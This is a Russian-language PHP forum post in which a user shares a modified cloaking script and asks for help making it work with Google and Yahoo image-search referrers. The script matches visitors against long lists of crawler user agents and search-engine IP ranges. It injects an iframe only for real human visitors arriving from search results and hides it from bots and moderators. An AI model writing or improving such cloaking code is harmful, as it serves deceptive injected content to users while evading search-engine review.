Помогите со скриптом

Discussion in 'PHP' started by I love this game, 24 Jan 2011.

  1. I love this game

    I love this game Elder - Старейшина

    Joined:
    23 Dec 2008
    Messages:
    162
    Likes Received:
    37
    Reputations:
    18
    Вот есть немного переделанный клоакинг скрипт, работает если пришел с поисковика то показует оригинальную страницу и ифрейм 'my frame', а если без реферера или бот или ip то показует оригинальную страницу.
    Короче все работает хорошо, но только не получается с картинок гугла и яху, не показует ифрейм, кто может помочь?

    PHP:
    <?php
    $stop_agent 
    = array('Ask Jeeves''HP Web PrintSmart''HTTrack''IDBot''Indy Library',
                                   
    'ListChecker''MSIECrawler''NetCache''Nutch''RPT-HTTPClient',
                                   
    'rulinki.ru''Twiceler''WebAlta''Webster Pro','www.cys.ru',
                                   
    'Wysigot''Yahoo! Slurp''Yeti''Accoona''CazoodleBot',
                                   
    'CFNetwork''ConveraCrawler','DISCo''Download Master''FAST MetaWeb Crawler',
                                   
    'Flexum spider''Gigabot''HTMLParser''ia_archiver''ichiro',
                                   
    'IRLbot''Java''km.ru bot''kmSearchBot''libwww-perl',
                                   
    'Lupa.ru''LWP::Simple''lwp-trivial''Missigua''MJ12bot',
                                   
    'msnbot''msnbot-media''Offline Explorer''OmniExplorer_Bot',
                                   
    'PEAR''psbot''Python''rulinki.ru''SMILE',
                                   
    'Speedy''Teleport Pro''TurtleScanner''User-Agent''voyager',
                                   
    'Webalta''WebCopier''WebData''WebZIP''Wget',
                                   
    'Yandex''Yanga''Yeti','msnbot',
                                   
    'spider''yahoo''jeeves' ,'google' ,'altavista',
                                   
    'scooter' ,'av fetch' ,'asterias' ,'spiderthread revision' ,'sqworm',
                                   
    'ask' ,'lycos.spider' ,'infoseek sidewinder' ,'ultraseek' ,'polybot',
                                   
    'webcrawler''robozill''gulliver''architextspider''yahoo! slurp',
                                   
    'charlotte''ngb' ) ; 

    $stop_ip = array(
            
    "66.249.[6-9][0-9].[0-9]+",    // Google    NetRange:   66.249.64.0 - 66.249.95.255
            
    "74.125.[0-9]+.[0-9]+",        // Google     NetRange:   74.125.0.0 - 74.125.255.255
            
    "65.5[2-5].[0-9]+.[0-9]+",    // MSN        NetRange:   65.52.0.0 - 65.55.255.255,
            
    "74.6.[0-9]+.[0-9]+",        // Yahoo    NetRange:   74.6.0.0 - 74.6.255.255
            
    "67.195.[0-9]+.[0-9]+",        // Yahoo#2    NetRange:   67.195.0.0 - 67.195.255.255
            
    "72.30.[0-9]+.[0-9]+",        // Yahoo#3    NetRange:   72.30.0.0 - 72.30.255.255
            
    "38.[0-9]+.[0-9]+.[0-9]+",     // Cuill:     NetRange:   38.0.0.0 - 38.255.255.255
            
    "93.172.94.227",                // MacFinder
            
    "212.100.250.218",            // Wells Search II
            
    "71.165.223.134",            // Indy Library
            
    "70.91.180.25",
            
    "65.93.62.242",
            
    "74.193.246.129",
            
    "213.144.15.38",
            
    "195.92.229.2",
            
    "70.50.189.191",
            
    "218.28.88.99",
            
    "165.160.2.20",
            
    "89.122.224.230",
            
    "66.230.175.124",
            
    "218.18.174.27",
            
    "65.33.87.94",
            
    "67.210.111.241",
            
    "81.135.175.70",
            
    "64.69.34.134",
            
    "89.149.253.169"
        
    );

    function 
    _xyec($a,$b,$c false) {
    foreach(
    $a as $d) {
    $d $c preg_quote($d) : $d;
      if(
    preg_match("#$d#i",$b)) return true;
      }
    }

    function 
    _is_okref() {
    if (
    preg_match ('#google|msn|live|altavista|ask|yahoo|aol|bing#i'$_SERVER['HTTP_REFERER'] ) ) {
      if (
    preg_match("#[\?\&](q|p|query|keywords)=([^&]+)#i"$_SERVER['HTTP_REFERER'])) return true;
    }
    }
    if(!empty(
    $_SERVER['HTTP_REFERER'])) {
    if(!(
    _xyec($stop_agent,$_SERVER['HTTP_USER_AGENT'],true) or _xyec($stop_ip,$_SERVER['REMOTE_ADDR'])) and _is_okref()) {
      echo 
    'my_frame'// or $my_var = 'frame'; ..... echo $my_var;
    }
    }
    ?>